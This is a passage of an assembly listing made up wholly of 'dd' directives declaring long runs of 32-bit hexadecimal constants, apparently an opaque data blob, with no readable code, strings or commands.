0D187AD0Dh, 0F2FB82B1h, 67E769A1h, 0C460DA75h dd 542AD310h, 70BA0594h, 58629812h, 9AFF14FFh, 54581CD5h dd 0B891CA47h, 0E2F6FE3h, 0E54260E9h, 2BCBA770h, 0D6FF5894h dd 48DD4BF0h, 0BF2ED3D7h, 398F69F1h, 51A44659h, 47B82EA4h dd 841CA39Dh, 2A84A586h, 6FA5E947h, 0C6545851h, 38725715h dd 64EA0E6Fh, 4DE1E217h, 4AB6969Bh, 26791880h, 0C4FFB3BAh dd 0AE8228A4h, 0DD7DD42Bh, 714D5331h, 8164D943h, 0B6ECE9EFh dd 26E3AAAFh, 3021CDF5h, 341DB898h, 1F35FEA9h, 11AE0763h dd 72B72BF1h, 0A07B7242h, 562F47B2h, 2E27165Dh, 1CA966C1h dd 0C89DCE14h, 3C806B72h, 20A870D3h, 0ABE0141h, 17403324h dd 0F26C0ECDh, 0CA1B97F3h, 0FA6AC2C1h, 0DE756D9Eh, 31B2C1BBh dd 0BCD96946h, 0D7CE43E0h, 0BD8C80CFh, 6D1999D4h, 0BEA2EDB8h dd 325EB37h, 0B1273045h, 520FEF12h, 969611A0h, 0F04C8677h dd 74E19841h, 75A7D533h, 0E401DCDDh, 0C4FEFB59h, 5F263AE2h dd 0C2CE2C42h, 402D69A3h, 3A730C08h, 0C9D91C71h, 255AE407h dd 0C29FB041h, 3099FB79h, 3A554D1Ch, 9C564AFFh, 368AAB74h dd 420C271Ah, 63DC8A70h, 0F7DA555Bh, 3D7BEA9Ch, 0E860B931h dd 0C1F6EB3h, 2ED908Ch, 0A5969AAh, 86FBD0B5h, 64FB2D13h dd 432DC747h, 0B736B231h, 863CDF4h, 0F86D71E0h, 4DA66D4Fh dd 0FA260F34h, 0E2A7AA73h, 0BDB762EEh, 0F2E5526h, 0A659BAEDh dd 0CA2C41FEh, 73EE7151h, 0ECE125CFh, 60888E1Dh, 10664FF2h dd 0D64ED07Dh, 42D6CBEEh, 16E70592h, 4D970627h, 168E2221h dd 0D4F8FF33h, 0D0BC8FA6h, 70A85081h, 55F1C147h, 6235F499h dd 0EF405B7Ch, 0F01ECCFEh, 0F90C79D3h, 4215356Ch, 0D9A3A40Ah dd 0E86A2F25h, 0A2C19A89h, 0ADF9F071h, 72E7061Ah, 5771A873h dd 26A51E78h, 38495F87h, 0F25D9D1Bh, 0EB5875EFh, 0D0405A2Bh dd 0F90CFFEh, 0D43C90A0h, 14927894h, 0BE65298Dh, 0AA12C962h dd 8BBCF4E4h, 0E140E3FCh, 0B67805Dh, 6D1306EEh, 0D4382E6h dd 67D4530h, 8EB86137h, 1C98CCD6h, 0BE994C83h, 0AE53F4A8h dd 271F124Bh, 3EAFCBD6h, 0CD621AC4h, 8BE22041h, 0C221FE87h dd 0C0099417h, 8C3CC46Eh, 264E67BDh, 81F9C2A8h, 68CE11CCh dd 1F4F1644h, 1DE0B6DEh, 5E553757h, 0B0BB79C4h, 8262DDFFh dd 0F1C6F7E4h, 0F7362411h, 6F9D0456h, 0F22B6396h, 2A37AB4Bh dd 603FDDD0h, 0F8476C4Bh, 0D83B130Ah, 0D727299Ch, 0CDE04158h dd 0F94E5CF6h, 7FCB4A36h, 66161751h, 0F2FF5846h, 1369A978h dd 0B58732FFh, 854436F4h, 5CF1CFAFh, 0E89E17DDh, 0B7171BF1h dd 0E1868AE7h, 0FC7E4EBAh, 6EA98AF8h, 5FD825C2h, 0A2A1FDF5h dd 5EE44133h, 0F33011Dh, 0E79AE0ECh, 0BB13D7E0h, 0BD0B9863h dd 0D9E45E36h, 47D04B64h, 9B0284EBh, 571A893h, 740EB921h dd 8FC20E9Ah, 5E912F34h, 0FD03D30Bh, 0D287798h, 0E5EFEC41h dd 0EAF92AEh, 48E11C1Ch, 0DAAF16BFh, 0EE939CA1h, 2ED22E39h dd 0B11832ACh, 7E130C78h, 1FC377B3h, 0FB63C8A3h, 0AC154CBEh dd 6C8283A0h, 65458924h, 4B50E489h, 0FD206AC1h, 2A897DBBh dd 848DDBEDh, 572D4A80h, 0DAE6410Bh, 0B3AF32B1h, 4F6D7E36h dd 5E9C562h, 9355865Eh, 0D880285Eh, 7128065Eh, 0EA59436Eh dd 76B13E44h, 8A66C32h, 8F7DF537h, 3F60E359h, 0ED3F923Ch dd 0F66F3770h, 0DDEA3A5Ch, 0C24B3CB6h, 6FEAFEBFh, 502A8E00h dd 0B10081D3h, 5FFE09CCh, 8A4B6B51h, 9D422A41h, 0F51C6BB1h dd 72FB45B8h, 21287047h, 773EED8h, 2EDD006Ah, 0EFCCE086h dd 478D5C9h, 0CB4F4002h dd 8A3EE316h, 3FC1126Dh, 7FE1A485h, 1DC77292h, 0B219991Bh dd 0D5CF7F6Eh, 99F1ADA2h, 153C2394h, 0BE3B84FAh, 0C2C1F6DAh dd 0A8FE9EFh, 0DEAB4411h, 6561F8F6h, 2260330Eh, 0EA5BBDECh dd 0F028B86Eh, 0DB8D1DABh, 28A54A70h, 6997E17Ch, 7ABE29F1h dd 0E01BDCBEh, 0F0A8957Eh, 67F0C9D2h, 63AEA0C8h, 82D8C1Bh dd 7D1574B4h, 66C3FD8Bh, 0AC6A684Ch, 0B0148AD9h, 571FDF88h dd 0E7483575h, 501CA2EBh, 0A1DCB2D4h, 0D89F511h, 0E78AF50Ah dd 0D782A152h, 30DCD303h, 0F973812Ah, 0ED0C1D97h, 0BFB68BC0h dd 47BE1585h, 7E72C107h, 1FB66887h, 0DABAB8F6h, 72A85E28h dd 0B8323187h, 5DC87C2Ch, 0BA12784Dh, 19DABE86h, 7C4D676Ch dd 0EE8FEC07h, 3E887785h, 4128E3E6h, 2817D7A0h, 44C7392Dh dd 4706C7C6h, 0DD000C0Eh, 9187FA3h, 6C329A39h, 0D20F9483h dd 0EDFB411Bh, 6F6285A1h, 1CE6A2E1h, 0C7F1D7B6h, 12B2ACEAh dd 6600A8FFh, 0DEAE885Eh, 0EF2BFEC9h, 69AD2B5Eh, 56DC83Ch dd 3051F7DDh, 9928CC8Dh, 4165F949h, 0CFA7087Ch, 0FA6CB927h dd 0BB860C67h, 7887C224h, 2FFDA5D4h, 0ECCC749Dh, 82B037D6h dd 8BB69D0Fh, 27906DFCh, 0FD2FF710h, 775606C7h, 0C16C49E8h dd 84123607h, 486FB437h, 0D737995Eh, 8C10F690h, 31060B5Eh dd 0F768D113h, 3F1B5816h, 675CDEBCh, 0F8B236D1h, 2A8A74DFh dd 90035145h, 0F4916FADh, 2201D75Bh, 0E8472144h, 13DE7157h dd 4C83280Eh, 845A6596h, 0D0A85B37h, 737EF537h, 8109EEABh dd 80A23DEEh, 0A9A75C6Ah, 7EF962BEh, 0F5FFA5ACh, 43A900E0h dd 71C97B87h, 9AD1A453h, 0B46C327Fh, 0FF743EF3h, 0DF15F288h dd 0AB1C40E1h, 9DB8E3F4h, 5F60D29Eh, 0DC3A410Dh, 852C58A5h dd 557287A3h, 15C46188h, 5B131F23h, 39E0CFBBh, 6EEA2A01h dd 9564C144h, 5EFC2AE3h, 8B191C6Fh, 2435044Dh, 7DA8A3h dd 679EAC5Bh, 9594E51Dh, 91BA374Fh, 0A4CCC203h, 0DAC1876Dh dd 8B5F8827h, 2A4C9AAh, 7DB8466Bh, 0E029155Eh, 36706D82h dd 0C2915C3Fh, 826E41B0h, 8A6E60A4h, 5AF1C784h, 0A914B50Ah dd 0BC545724h, 3F93C970h, 0A355E660h, 7F8CB187h, 0A0F32C9Eh dd 0EC41D125h, 3A286E81h, 0B28714CEh, 4B2E6E5Fh, 0BEC21074h dd 366B216Fh, 36F3B02Eh, 4A371B9h, 87D1B1FEh, 0BA690B46h dd 37524A30h, 5F52CD85h, 0AA09E9BAh, 8B1425Bh, 0EAA673E3h dd 7D4E18B0h, 0B109E89Dh, 0AD69D2D8h, 4710481Ah, 0D3544C2Bh dd 6484D7A1h, 0C3452DEBh, 49FAC7B9h, 55384E5Ah, 859282E3h dd 0F5C7899Eh, 0E8C49875h, 0CFBAD2Eh, 67073659h, 0EA87E365h dd 417A4144h, 690898B5h, 28CC590h, 10891F46h, 0C42C4432h dd 0D8FFAA76h, 0D011DF1Bh, 6F43D71Ch, 0C6F8C415h, 0FD36133h dd 2CA28C20h, 0E29F528Fh, 215F02F1h, 4F136CF5h, 0DF4EACFDh dd 448789A6h, 3DBBF335h, 2F6E34BCh, 9765E6BCh, 0F6748DB7h dd 0B82BD000h, 0B3A5B501h, 0CC9C4646h, 0EB186CDAh, 0BB0AABA5h dd 2020A479h, 0D2647004h, 6060EE5Dh, 0BA341F31h, 61429FAEh dd 9417F21Dh, 0CD3ACE55h, 0B00ACD5Dh, 1F94EE4Fh, 780E2095h dd 0B542B238h, 0F3CEFCA1h, 0F1B1409Ah, 6D282BADh, 27D8B5C2h dd 3A9766A7h, 81B71410h, 41BDF97Eh, 6D8E3E02h, 4B2CEC8Dh dd 38A31815h, 8E7A4533h, 71B3AED8h, 4A0E2C27h, 0F35AA48Fh dd 0C0F31567h, 6D5207A5h, 67CFBC60h, 0F39999D9h, 0FF7FDBFh dd 918DCB90h, 0FFF4CB5Fh, 977EFA8Bh, 1D168B70h, 49F4BBFBh dd 0FFA271Bh, 1DC2AEBAh, 3578E1B0h, 0EC87395Ch, 0CF4366B7h dd 0F496A044h, 338551CAh, 7B0FB8A1h, 38E73829h, 0CF7D79A1h dd 0A2B06147h, 447B27C2h, 0CA387E08h, 8567E747h, 0C5F63DD0h dd 0E1DDD85h, 98FA226Eh, 20C7B353h, 55645803h, 0E959A5DEh dd 0F2706A2Eh, 3E9EB184h, 7BE43E68h, 0ED67231h, 12507B71h dd 46D9E675h, 2C1CACA9h, 0E87B63BEh, 2E15A601h, 0E6631C40h dd 0FB062227h, 0DAD01778h, 4E440DBBh, 0EE676241h, 66BD52A0h dd 889158E0h, 2E41A78Fh, 0A91AF376h, 712E839Eh, 0E0A32620h dd 8A32C90Fh, 9B713FDDh, 601ADAC7h, 0B9CE49Fh, 2FE36696h dd 6059AA16h, 0DDD4A476h, 0FEF13DFh, 8B4B94Dh, 27F2A0C3h dd 8192FC9Eh, 0E5FAB864h, 0F9BA4BAh, 625EDFAEh, 650BC6E5h dd 148368C5h, 0BDDDF61h, 52C1FC5Dh, 0EFF720CEh, 4DE88AE1h dd 40D13216h, 0B34381EDh, 7E7FFF02h, 41BD9745h, 4475A5DFh dd 19B44D88h, 7893F32Fh, 0DB12B0AFh, 359DA7AEh, 7DCA583Fh dd 5810ECBBh, 4BE21129h, 2C7833B8h, 0E305765Bh, 324DE1FAh dd 0A988F8EBh, 24A7CDBCh, 0A820384Eh, 5443CA7Bh, 0E858F957h dd 0D17DE19h, 57B9D7AEh, 63EB2199h, 0FD531BAFh, 3A89AEDh dd 64885F7Bh, 55B1BEC0h, 0FF63384Bh, 9ABC8067h, 31740F45h dd 0F7ABB6ADh, 404D64A8h, 880BB45Ch, 0F358F1DAh, 0F4D34071h dd 5BED6422h, 0C4D80B37h, 23AD9AF5h, 0B71D5BCFh, 0B198CF51h dd 67C93207h, 955994FCh, 7C145F44h, 10D8E1FDh, 95770453h dd 0BA95A220h, 69710E6Eh, 32EE39F1h, 0FBB1D92Eh, 4ED5E166h dd 4059B53Bh, 0BACB3A02h, 0A61C8D85h, 8CC89298h, 4D02B01Bh dd 0A708545Ch, 1C3F6FD6h, 10025B61h, 9E25020Eh, 26EEDDA5h dd 63DD8196h, 9DA9A99Ah, 46D9B278h, 4A6C0D5Dh, 0ECB0C4Fh dd 88C517F5h, 6398559Dh, 470106Bh, 0BE41A8B8h, 0ADBA263h dd 0A80DFD43h, 0E14DA809h, 893A032h, 1CD981A2h, 1D2229CEh dd 3AA35E7Dh, 289256A7h, 5D4EF7EEh, 0C5D41FBh, 916AEE73h dd 65BF8C7Eh, 90A5CC09h, 9535A4C2h, 0E2E65E4Dh, 4B2CB5DBh dd 0DD696E99h, 9F4F044Eh, 2F7BA157h, 155544E6h, 0CDE7DC01h dd 798809C8h, 98B0D510h, 8EDFF815h, 0D5F2C6A4h, 0AF41058h dd 0B984AED9h, 0A8299572h, 0D4332FCBh, 0AC1D80DBh, 0B574E3A1h dd 0B309C7EDh, 0DFFA7D8Fh, 6DB74E13h, 770BE9CDh, 43CA5D5h dd 2A183805h, 3EA65F8Fh, 0DC125D92h, 5425CB07h, 0CA867F66h dd 0E0F773DFh, 1AC16087h, 246E01B1h, 6953F770h, 0A97FDAE4h dd 64E8B24Eh, 0F0C0DF7h, 2724EE99h, 4587EBCAh, 0C8C9E644h dd 14391140h, 3FA03370h, 25B02507h, 46A93A40h, 0E5E85EF7h dd 0F6A7F8Ch, 3132473Bh, 15B74D0Eh, 0F9C7F9DCh, 98D9DB82h dd 0AB41C53Ah, 37882EA1h, 26A18DC6h, 3D9C86BBh, 0EC1B871Dh dd 0B0DD362Eh, 34E6EC61h, 1780A290h, 3341C45Ch, 833DCCE1h dd 3D21603Fh, 46898DCEh, 11E3B809h, 8D411BE8h, 156AEDEFh dd 0BC1F5BC4h, 0FBD0AC59h, 0B1B6E9B2h, 36F5F8FDh, 26F530A7h dd 0DDAE1294h, 0B235F693h, 8EA74DC5h, 34674616h, 2B7BBC24h dd 96B642Fh, 57CD0917h, 0E8785B59h, 9A000D19h, 24EDEB6Ah dd 0E378FF2Ah, 0DE087403h, 241E494Dh, 83631FB1h, 349070FFh dd 0C4C951D8h, 61AF3240h, 0B9776E21h, 892E8F66h, 60AFAA5Eh dd 1B6446ACh, 1ACDA75h, 0EA76E300h, 0F19AD23Ah, 4CCD290Ah dd 35316DDBh, 3EE78E30h, 64A3503Eh, 60FDE4EEh, 0BE404D0h dd 4F5A75C7h, 1BD15A39h, 1F3A5D63h, 77EA75F6h, 0CBD02F5Ah dd 0FD37DB3Bh, 83C1D2B8h, 385F32B1h, 497F1578h, 4D2E3143h dd 0D112EAE4h, 24CAA411h, 4040BC2Eh, 90CA856Ah, 0FB6933ABh dd 9CFF66BAh, 127968EBh, 56B7494Bh, 1E1F2434h, 0BD776FCAh dd 0C11E3CBBh, 0E2299B09h, 0C9B807E9h, 634A96D9h, 3266347h dd 0DC15257Bh, 6AA950B0h, 3F06FCFAh, 5FF4B73Eh, 0BCB03651h dd 0B16AC0B4h, 1BDEFFE4h dd 1655BD1Bh, 6BE10D84h, 1DB177F9h, 0D85C4BF8h, 1EB88788h dd 9FCAD36Bh, 0ED3115C7h, 0C7E67C8Dh, 0C7623915h, 61696625h dd 0EA449E05h, 0DD4DDE0Ch, 30591A4h, 2DC68FB8h, 0C66E6FEEh dd 0DA9DDA6h, 503472EDh, 63D4E56h, 0F70FAF9Bh, 0E0E4082Fh dd 78689378h, 0C4498641h, 991A37E6h, 0B4CE5F3Dh, 0B95EC7C1h dd 51CAAA78h, 0A0257138h, 0DC75209Ch, 0A7BC07CAh, 0D10ABD1Eh dd 83916504h, 7E2FDEE8h, 0A7D84ED6h, 1375A1F5h, 8D8A1AF9h dd 0B93F0013h, 849EA4F1h, 7DA90E0Ah, 4DFC421Ch, 4AA6A937h dd 8F731294h, 0BE4C5F71h, 0A14DB59Bh, 58B47E54h, 78B645E3h dd 64ED4EA4h, 5C712998h, 0E086EAB0h, 0EFDADD17h, 4479E812h dd 52246910h, 0A3CAEEBAh, 838D5CE4h, 4E1AF279h, 3AD5B58Eh dd 0EBF8078h, 0D6B982BDh, 0F9D7A783h, 2AE23B5Eh, 0A058F1DDh dd 0EB0A9127h, 0F045BB19h, 0F5C4DE26h, 0E0B49459h, 10331CF7h dd 3FDA00CFh, 0EF5E0BFFh, 0F8C93BDBh, 527E08A8h, 9C433ED6h dd 3E57EE38h, 43721FC6h, 0AB997512h, 11F59030h, 0C46918E3h dd 4471CDCAh, 0A0430AF2h, 0FCCDA20h, 91BAC5E0h, 123C35A8h dd 0E54C807Dh, 575BF4B2h, 0C688CADDh, 0C5B51A98h, 0C2278A4Fh dd 70D347Dh, 0D9001B3Eh, 0C5F89EF2h, 0F37CEC72h, 0F5F5EA16h dd 0CBD3D587h, 295094C1h, 0C1667FB2h, 7C768065h, 0E747CEDh dd 0F6C1C1EFh, 5E0B0A6Fh, 0AEEA93Ah, 0FD6AE4D7h, 10971617h dd 1B72395Ch, 0C654C2F3h, 7D2D0AA8h, 2EC26ED2h, 574C7E6Eh dd 0DF2CCC73h, 2BC3CCF6h, 0FEA803CFh, 26994FBCh, 0F066C881h dd 6B9471AFh, 230BAA72h, 0CFDA197h, 465E25F5h, 0D199DAFh dd 0A499FA9Fh, 0CC2AC53Ah, 77A9E926h, 0FA019553h, 6BD3174Ch dd 2A8B81CEh, 0BF5E8453h, 20FE377Dh, 42BCD4EDh, 85288CAAh dd 158601F3h, 0E7F73E9h, 2EAFBD73h, 9364B2A7h, 248F1126h dd 0CE4A2C9h, 0EEDD0BCFh, 199F64AEh, 34C6E0F2h, 0ADC5B3D3h dd 1C2A1BF4h, 0C56774DBh, 0F9ED1C1Fh, 66878435h, 0D0F59897h dd 4C394FDh, 0F94246C5h, 0DBE57821h, 28A3619Fh, 0C1A68D81h dd 9A53A79Fh, 28DF8A03h, 4EE3022h, 0F429F235h, 71DF8973h dd 4673153Dh, 37EBC773h, 744DCE49h, 92C1CC02h, 0E501AFBFh dd 61ADA892h, 9059551Dh, 0D5234D46h, 39892675h, 4506AE12h dd 8D25F8BDh, 5AB1A1h, 77AC836Ah, 96B2A01Fh, 3A7CDCC1h dd 480A5E98h, 2A30F13Fh, 0F8C3B3CCh, 0C786DCF4h, 8C21D00Ah dd 827846E4h, 60A7CE31h, 8C51048Fh, 7DF5AFD2h, 0F18C3659h dd 0CBD32DA0h, 0CBA1ACCh, 1BF26BEEh, 0CE32556Dh, 0CC1DB6h dd 1777D8E5h, 0C71259DCh, 0F289421h, 0DF6939F9h, 12DEDC87h dd 0E88F5E09h, 710E9D42h, 0B5E2195Ch, 0D27D940Dh, 0BFAEB18Bh dd 76B1F19Bh, 283395ADh, 25ECDDFDh, 0B50701A9h, 17E56488h dd 0E1202B96h, 0D03D1BF2h, 0AB6F57AEh, 3462ACDDh, 89CC841Ch dd 0E51FAE81h, 0A35A1E30h, 2D8D0252h, 0D2E0895Dh, 0D8FEB831h dd 89F8C4FEh, 667775FFh, 3CC5E2EDh, 872F1648h, 0C4876E4Eh dd 866FF829h, 0E96E5146h, 0F89BFB5Dh, 6AEB86A0h, 0CC10E86h dd 35E4D663h, 26409987h, 97A2BA40h, 46B8264h, 0FDC7AC9Fh dd 0C1E9D462h, 66F1B4C7h, 9EC0FCE8h, 266E6498h, 4AAF6938h dd 0F34CBDC5h, 29F865E3h, 0CE86599Fh, 9CA28A25h, 321CBC2Eh dd 0D4D8D702h, 9F372542h, 59961AA0h, 94A01FF8h, 4E4BE861h dd 0ACA3FD83h, 0DEED77C6h, 71401C9h, 9631D22Dh, 7002C369h dd 0CFB77661h, 85AB9B41h, 285E71Fh, 92A61F16h, 0A0F5D06Eh dd 0A3C0020Eh, 7693A25Ch, 1D4714EAh, 8F91435Fh, 0B82B5498h dd 7F71FEF7h, 13989D65h, 9B5CACE4h, 8A96C10Ah, 4572E08Eh dd 0E009D953h, 155A0870h, 0A2248DEDh, 1766D19Eh, 58620559h dd 0F31C9118h, 0A59E7E95h, 0D77B0792h, 8B924DD2h, 3905E14Eh dd 0B6CA492h, 0C10E661h, 52237464h, 4423E3CCh, 0A0BA5737h dd 0A3F97D82h, 5F381417h, 2E4A1BF9h, 7F78ED89h, 0F98823BBh dd 0FEB1261h, 78ADECCh, 3561F843h, 6AF858AFh, 0A5DC0BE8h dd 0D809270Ah, 0DE943E0Bh, 8DA3726Dh, 87221EE2h, 8835AC9h dd 21923508h, 2BD32B74h, 404EFAAFh, 6465B5E9h, 0B3414C03h dd 0DC7B34Fh, 8D8ACE52h, 24DA8A85h, 321E1DEAh, 5FFD00F2h dd 7449970Ah, 0CDB80FC1h, 0FECC81D7h, 0D7CD6A66h, 76152F15h dd 2985BD6Fh, 0D7A10EFh, 0C987DFAEh, 224920C8h, 8886EF65h dd 23F2BF3Ch, 13D45389h, 5C06367Bh, 6324E174h, 51D618D4h dd 5DB04D1Ah, 6DEA903Ch, 2C53D1DDh, 4E3A76h, 0FA3A2FDEh dd 9C07995Dh, 13D9DD13h, 3726477Fh, 0CF4A172Fh, 61E5FFA1h dd 75772290h, 0DA444F99h, 0EE5D8299h, 0DD3D1402h, 9752584Ah dd 5514F0A3h, 4F69FC85h, 73B480C2h, 0DBC1701Fh, 804917FBh dd 6C5B752h, 7A100C74h, 6BADDAD2h, 0EA27B87Dh, 15699996h dd 42AFFDF3h, 0B4D0B0C6h, 0A9C1529Eh, 805498FCh, 5ED11C66h dd 0DD92D3CEh, 4B490807h, 54999DC3h, 0EB82E9F7h, 57C823C7h dd 4B83FB45h, 4A665058h, 168D84EFh, 28980E42h, 293D4241h dd 291FC751h, 0F76B2570h, 0FA7A3CE9h, 3B37B10Bh, 46314FF9h dd 8B50013Ah, 98AA0845h, 0E9A833h, 82E45193h, 0DC48E983h dd 5198FFC1h, 0B5DC6E35h, 35A7245Ch, 0D391B581h, 0B02A3BB0h dd 9315B823h, 861266D2h, 0D2818A5Ch, 2E34C48Eh, 0F4A2325h dd 0C9E89A11h, 7C34F3DCh, 0AA026971h, 0AE023768h, 11887488h dd 71D86414h, 306F7DEDh, 0D780178Ah, 5495BD7Dh, 0EBFE4894h dd 5A38B32Fh, 0E72A3F51h, 0ADC43783h, 4AD7E2DAh, 0BBA76B6Ah dd 28C95F9Fh, 6F5FF656h, 983D4DD3h, 0C96C8950h, 48E069C1h dd 4EA5AC9Eh, 499FA16Ch, 85F0DFE3h, 929ECD12h, 0CCB59FBCh dd 3A3EE5Bh, 7A2D1FD0h, 0EFB7893Eh, 0A248D125h, 0B841974Bh dd 63A96077h, 2251774Ah, 8BC6A9A7h, 0CB222CBEh, 25985AB1h dd 0A8DE83E5h, 9960FD83h, 20CC9DDEh, 2DEC5769h, 1CEE0579h dd 841DF514h, 7F4F7FFDh, 680F11C6h, 17DD8370h, 0E72A53F2h dd 0E0CC6D94h, 0A3895F10h, 615F64B4h, 729CAE06h, 2A90DD77h dd 385A163Ah, 0A64F4E5Fh, 0ED5866DFh, 65E778FEh, 0B7423C09h dd 0C3DFBCDBh, 2FDA0939h, 6531A82Eh, 97DB52A4h, 0CCD101B5h dd 2E21E90Ah, 35243B45h, 74FB753Ch, 0A2EC5F23h, 0D6F55704h dd 495B6FADh, 0DA0BD6DDh, 0E08329FEh, 7543E856h, 0C5A8C892h dd 74B63BD9h, 4B3C03BAh, 0B28288F2h, 6C142867h, 8D5EE0Ah dd 0E6C79CDh, 6413EE4Eh, 0E4F10BEh, 57671318h, 0BBC71929h dd 18B5D94h, 76E0A689h, 0F3F0ADADh, 986705AEh, 444E96B1h dd 385542C3h, 0ECE6312Fh, 9B93DFAEh, 1690FB7Ah, 0E04BC62Bh dd 6D14604Ch, 152DA5F8h, 4811D14Eh, 58D45E11h, 0AE3686A4h dd 67CE4DE2h, 0A43B7F29h, 37BCF03Ah, 0E996DFE1h, 878CE561h dd 0DD1A974Dh, 0F72ABD6Ah, 0A7C557EAh, 0A4847EDFh, 0DB73EB6Fh dd 547A3C00h, 5315B92Eh, 55CA7AABh, 94DD53D8h, 0E83DC1F3h dd 488F2F2Eh, 8C72A67Fh, 0CADDD651h, 36E39775h, 84E2ED68h dd 0FD1DE6BFh, 0C3718398h, 118790F9h, 0A7D173CEh, 0BCFD4725h dd 73A69C1Eh, 32062BCDh, 8C475506h, 0B3EBB306h, 0EDCCE61Bh dd 652C9322h, 0BEFD6B1Fh, 7F2074DEh, 84FFC687h, 93AC29CAh dd 0D3E8427Eh, 4DD2E157h, 3FBCC591h, 0FE88A689h, 0EB5064E7h dd 0A0442070h, 278CC51Dh, 241FAA00h, 0E724FC38h, 48240837h dd 4B503EE7h, 0C8A6AF4h dd 9D141190h, 8E221452h, 378551CFh, 57689533h, 297F88A4h dd 78ABF0C3h, 4E822CDCh, 174B4CAh, 0E607ED7Fh, 66963F1Dh dd 0B9BFAD8Fh, 10F8C764h, 1C8BF189h, 7BB5C347h, 0CAE52ED0h dd 41A2965Ah, 85FCF31Dh, 770A7E69h, 0D573F344h, 5838E639h dd 9CBA4B54h, 910E24BCh, 2426F2BBh, 83D129D6h, 3125FD3Eh dd 4862851Fh, 79133A42h, 39501277h, 0D1F249E6h, 0C32D8632h dd 0E3148B75h, 4F16A611h, 0AE1E791Eh, 0D79F3193h, 0AFA435F0h dd 0B45FAA12h, 3247FC0Ch, 3881B2CFh, 340E11F1h, 5E5DA3C8h dd 0C8B524B7h, 755B22A5h, 0FFE28E11h, 3B8056A4h, 0A7EE2C5Fh dd 0BE553A97h, 0EDA7A883h, 0EB975BA2h, 595C1C00h, 245F7B6Bh dd 1BF33794h, 1922CCDFh, 2B8F4C8Dh, 0DC16DC80h, 0CBC5C2F7h dd 777CF1CFh, 0E3980D46h, 68B50606h, 4EED113Fh, 0E26E45E1h dd 98E56E99h, 4870DBDFh, 58CE20D7h, 8103088h, 3F934BEFh dd 631FFC17h, 458BEE2Fh, 6E88BD79h, 0C541535Eh, 2B091221h dd 964780F2h, 6B8D493Bh, 0EAA8B53Ch, 71835CBEh, 0A6C1A4Fh dd 9C01F2CEh, 5364CC8h, 0AA0CA93h, 0A054BFDEh, 289041C4h dd 604ADF74h, 3932B51Fh, 0D006FE18h, 0E2452BA2h, 0B1495530h dd 0DC1325Ch, 16DA508Dh, 2045D192h, 0C05072FCh, 645E2D2Dh dd 520A106Fh, 0BAC6D84Bh, 3FDE9B08h, 7CD6F700h, 662AEC66h dd 3E1FCDECh, 0E9B05148h, 9A8B8C74h, 7C41EF62h, 6E81C30Eh dd 2C8E809Fh, 7EC19860h, 90F0AA6Ah, 724A75BFh, 0D1850A43h dd 0DE67FEE7h, 221BCD53h, 0DC3E8E55h, 0AFAC0FA2h, 68E7632Eh dd 9FB2E158h, 558943A5h, 18E24A3Ch, 26FDFAACh, 0BDF30DC9h dd 0F34D3EFDh, 39A9FF97h, 3BB6AA37h, 6C39E29Dh, 75825585h dd 0A555BFEDh, 0F724193Ch, 0F517F10Ah, 9F5B0D02h, 27BED9EFh dd 9234C9E7h, 4401A40Bh, 5219308Dh, 292221A3h, 0A795374Ah dd 0C7560764h, 231669AEh, 0F7DF6846h, 0A8D64B49h, 0F15C7F7Dh dd 0CF96FE51h, 0EADF51DFh, 0AEDDD80Ch, 1219B3BAh, 0B3ED613Ah dd 93BBF61Fh, 8B3A7375h, 40220BEEh, 0FB9A3E3Ch, 3CDF8501h dd 82D3BE26h, 0E8CD4D9Eh, 0D710AE51h, 0ABD2E708h, 62B9187Bh dd 45BED914h, 8250D613h, 0F8423F05h, 0D2500EB1h, 0CC1E6DA2h dd 0E8D430FCh, 9D2639A8h, 0AA3EEF24h, 82B28F88h, 486F3EC2h dd 0D1DE9714h, 5FE3AD05h, 24B7BA7Fh, 0C5AC1012h, 48F6C15Fh dd 467773AEh, 4A8DE067h, 3E96C90Ch, 64843ACh, 0B9153F68h dd 80BA1E79h, 12694259h, 0BEDD4334h, 6A4B71F3h, 19497812h dd 3DE6D241h, 0C5AD1E3Dh, 0B9D94093h, 57339732h, 7DA79C76h dd 1CA94D42h, 0B09223D8h, 54E1EC2Dh, 2835C9E7h, 0BAF97DA9h dd 0F18C99A8h, 0D6430032h, 37C61C95h, 181695D4h, 4D5592Eh dd 3346BDBEh, 8C14508Bh, 5924F4DDh, 826C50CEh, 6FDDD377h dd 14B68787h, 316AEF75h, 241EF590h, 0D5D336ADh, 5B0DB4C7h dd 4B5F9F20h, 5F7DFA30h, 5BF1D66Fh, 0DBC6596Eh, 78767415h dd 0BAD4CD7Ch, 0BFCAA9C2h, 8EBB7905h, 0AF1CDF49h, 0B9F4FFC6h dd 8C155473h, 0D4272841h, 7FA99612h, 0F043AA65h, 275A7E5Fh dd 0E58EC2DDh, 4CEE0EEEh, 0FD0DBEF9h, 0B4FC3DE0h, 6CD9B59Ch dd 98CC806Bh, 0FE15A807h, 2484535Eh, 85583FC3h, 3CEE840Dh dd 0E905559Fh, 9BDFDE64h, 0E24C438Fh, 0A4D41ED3h, 0F43B8788h dd 0D3D636E1h, 763022CBh, 0CA2D16C3h, 3DCD960Ah, 0F445CD0h dd 0ADD93C06h, 6D952164h, 3868C505h, 6EA6C7A1h, 41E53DB9h dd 60B19026h, 6BBC15F9h, 280810B3h, 1C8956E8h, 65EC5DEDh dd 91D20225h, 4F6ADF6Dh, 3657255Eh, 608CA865h, 0F091685Dh dd 0D5414783h, 0E945A1F6h, 63B227FFh, 30263DC6h, 3899B077h dd 0CEF37DABh, 3E3006FEh, 774C6E1h, 30E2D9DCh, 5F686B09h dd 2455AD6Eh, 0A93CB2B7h, 8B7BE310h, 1FBF318h, 191F870Ch dd 520F08F1h, 0A9A1FFAAh, 0B03CAB75h, 0F5E147E7h, 6C26179Ah dd 42C403C0h, 34B392B1h, 0D61D869Dh, 0A0A14227h, 0AFE27933h dd 4EBCD8C9h, 677F8A7Ch, 2B47ABB4h, 82BCF72h, 6B4FD72Ch dd 0D8F52BCCh, 0C9E844B6h, 55493F6Ah, 46D6650Bh, 5202E290h dd 0A6787AA0h, 0BDD4CAF0h, 938BA5C4h, 24052483h, 0FC356305h dd 63053215h, 70E7273Dh, 363F3275h, 0D77AA70Ch, 1FF49E9Eh dd 1931C3C1h, 32F5FEEAh, 0F1D69B93h, 0B3257DF2h, 711B1B4Fh dd 20485281h, 9EE0598Fh, 0A6FBD38Eh, 4302172Dh, 91968DDBh dd 0BE16AAB6h, 9EB99610h, 0E2144FFEh, 0C0D2FF3Bh, 21B308EEh dd 9F2A7400h, 9041F67Ch, 0D2648455h, 816A5318h, 385F2E45h dd 880CDB4Ch, 